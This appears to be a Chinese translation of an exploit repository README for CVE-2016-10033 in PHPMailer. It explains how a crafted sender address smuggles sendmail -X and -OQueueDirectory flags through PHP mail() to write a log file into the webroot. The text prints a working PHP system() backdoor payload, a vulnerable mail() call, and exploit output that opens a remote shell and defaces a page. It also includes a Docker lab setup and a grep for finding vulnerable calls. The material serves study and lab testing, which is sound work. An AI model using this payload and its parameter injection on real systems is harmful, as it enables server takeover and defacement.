PHPMailer 是世界上最流行的传输类库,全球预估有 900 万用户。每日下载量持续可观。被众多开源项目使用:WordPress、Drupal、1CRM、SugarCRM、Yii、Joomla! 等等。
版本 5.2.18 之前的 PHPMailer 存在一个可能导致远程代码执行(RCE)的漏洞。当 Sender 属性未设置时,isMail 传输中的 mailSend 函数可能允许远程攻击者向 mail 命令传递额外参数,从而通过精心构造的 From 地址中的 "(反斜杠双引号)执行任意代码。
要为测试搭建一个漏洞环境,你需要安装 Docker,然后运行以下命令:
docker run --rm -it -p 8080:80 vulnerables/cve-2016-10033
这将在你的主机上启动一个易受攻击的 Web 应用程序,监听 8080 端口

要利用此目标,只需运行:
./exploit host:port
如果你使用此漏洞镜像,可以直接运行:
./exploit localhost:8080
利用成功后,一个名为 backdoor.php 的文件将存储在 Web 目录的根文件夹中。然后漏洞利用脚本会给你一个 shell,你可以向后门发送命令:
./exploit.sh localhost:8080
[+] CVE-2016-10033 exploit by opsxcq
[+] Exploiting localhost:8080
[+] Target exploited, acessing shell at http://localhost:8080/backdoor.php
[+] Checking if the backdoor was created on target system
[+] Backdoor.php found on remote system
[+] Running whoami
www-data
RemoteShell>
就是这样,你已经获得了 shell。还有一个漏洞利用脚本,展示了另一种使用场景。
./deface.sh localhost:8080
[+] CVE-2016-10033 exploit by opsxcq
[+] Exploiting localhost:8080
[+] Target exploited, acessing shell at http://localhost:8080/backdoor.php
[+] Checking if the backdoor was created on target system
[+] Backdoor.php found on remote system
[+] Placing your message in the server
[+] Job done, exiting
如果你再次访问该页面,你会看到:

在此提交之前,class.phpmailer.php 中在特定场景下没有过滤发件人电子邮件地址中的特殊字符。此缺陷可导致通过此处的 mail 函数实现远程代码执行。
分析代码,mailSend() 函数中没有过滤
$params = null;
//This sets the SMTP envelope sender which gets turned into a return-path header by the receiver
if (!empty($this->Sender)) {
$params = sprintf('-f%s', $this->Sender);
}
$this->Sender 直接追加到 $params 变量中,该变量在 validateAddress() 函数中曾经过滤,但由于它遵循 RFC 3696 规范,允许某些会破坏系统的字符。
在本例中,是引号:
除了使用反斜杠字符进行引号引用外,还可以使用传统的双引号字符来包围字符串。例如:
"Abc@def"@example.com
"Fred Bloggs"@example.com
是上述前两个示例的替代形式。这些引号形式很少被推荐,在实践中也不常见,但如上所述,处理电子邮件地址的应用程序必须支持它们。特别是,引号形式经常出现在与从其他系统和上下文迁移相关的地址中;这些迁移需求仍然存在,并且由于接受用户提供的电子邮件地址的系统无法“知道”该地址是否与遗留系统相关,因此必须接受这些地址形式并将其传递到电子邮件环境中。
如果你愿意,可以阅读完整的 RFC 这里。但另外,如果 PHP 版本低于 5.2.0,并且没有安装 PCRE,validateAddress() 中的 $patternselect 变量将被设置为 noregex。这将导致输入能够绕过任何正则表达式检查。它只会通过一个简单的验证:
case 'noregex':
//No PCRE! Do something _very_ approximate!
//Check the address is 3 chars or longer and contains an @ that's not the first or last char
return (strlen($address) >= 3
and strpos($address, '@') >= 1
and strpos($address, '@') != strlen($address) - 1);
然后,代码流程进入 mailPassthru() 函数,如果运行在 safe_mode 下,则此漏洞不会生效,如下面的代码所述:
//Can't use additional_parameters in safe_mode
//@link http://php.net/manual/en/function.mail.php
if (ini_get('safe_mode') or !$this->UseSendmailOptions or is_null($params)) {
$result = @mail($to, $subject, $body, $header);
} else {
$result = @mail($to, $subject, $body, $header, $params);
}
但是,如果没有运行在 safe_mode 下,那么我们的特殊参数将被传递给 mail(),如果我们幸运的话,它将获取我们的文件,其中包含我们希望写入的任何内容,并写入我们选择的位置。
PHP mail() 函数的利用并不是新鲜事,但它仍然存在并且人们仍在利用它。为了解释其原理,让我们看看 mail() 函数的定义:
bool mail ( string $to , string $subject , string $message [, string $additional_headers [, string $additional_parameters ]] )
有多种针对不同结果的利用方法,我们将重点放在利用第 5 个参数来实现远程代码执行(RCE)上。$additional_parameters 参数用于将额外的标志作为命令行选项传递给配置用于发送邮件的程序。此配置由 sendmail_path 变量定义。
来自 PHP 官方文档的安全说明:
additional_parameters 参数可用于将额外的标志作为命令行选项传递给配置用于发送邮件的程序,该程序由 sendmail_path 配置设置定义。例如,这可以用于在使用带 -f 选项的 sendmail 时设置信封发件人地址。
此参数在内部由 escapeshellcmd() 转义以防止命令执行。escapeshellcmd() 阻止命令执行,但允许添加额外参数。出于安全原因,建议用户对此参数进行清理,以避免向 shell 命令添加不需要的参数。
考虑到可以被注入的额外参数,我们将使用 -X 来利用此漏洞。关于 -X 参数的更多信息:
-X logfile
Log all traffic in and out of mailers in the indicated log file. This should only be used as a last resort for debugging mailer bugs. It will log a lot of data very quickly.
还有一些其他你可能应该知道的感兴趣参数:
-Cfile
Use alternate configuration file. Sendmail gives up any enhanced (set-user-ID or set-group-ID) privileges if an alternate configuration file is specified.
以及
-O option=value
Set option option to the specified value. This form uses long names.
对于 -O 选项,最有趣的是 QueueDirectory,该选项选择邮件队列的目录。
如果你想查看完整的参数和选项列表,只需 man sendmail 或在线阅读这里
基于这些信息,以及能够控制至少一个其他参数的能力,我们可以利用主机。以下是成功利用的步骤:
$additional_parameters 和另一个 mail() 参数webroot 下的任何地方(对于其他系统是 /var/www/html,对于此示例是 /www)system() 载荷,并加入一些 base64 和特殊字符 | 以方便解析。请记住,-X 选项将写入日志文件,该文件除了日志信息外还会包含你的 PHP 载荷,位于你指定的目录中。一个易受攻击的 PHP 代码示例:
$to = '[email protected]';
$subject = '<?php echo "|".base64_encode(system(base64_decode($_GET["cmd"])))."|"; ?>';
$message = 'Pwned';
$headers = '';
$options = '-OQueueDirectory=/tmp -X/www/backdoor.php';
mail($to, $subject, $message, $headers, $options);
如果你执行上述代码,它将在 /www/backdoor.php 创建一个日志文件,这就是此漏洞的核心。
下面是本例中使用的载荷
<?php echo "|".base64_encode(system(base64_decode($_GET["cmd"])))."|"; ?>
想要一个简单的一行命令方法来尝试发现此漏洞吗?记住这个神奇的 grep 命令!
grep -r -n --include "*.php" "mail(.*,.*,.*,.*,.*)" *
针对此仓库运行它将产生:
src/class.phpmailer.php:700: $result = @mail($to, $subject, $body, $header, $params);
此漏洞由 Dawid Golunski 发现。
本程序及之前的程序仅供教育目的使用。未经许可请勿使用。通常的免责声明同样适用,特别是本人(opsxcq)不对因直接或间接使用这些程序提供的信息或功能而造成的任何损害负责。作者或任何互联网提供商对这些程序或其任何衍生产品的内容或滥用不承担任何责任。使用这些程序即表示您接受:因使用这些程序而导致的任何损害(数据丢失、系统崩溃、系统入侵等)都不是 opsxcq 的责任。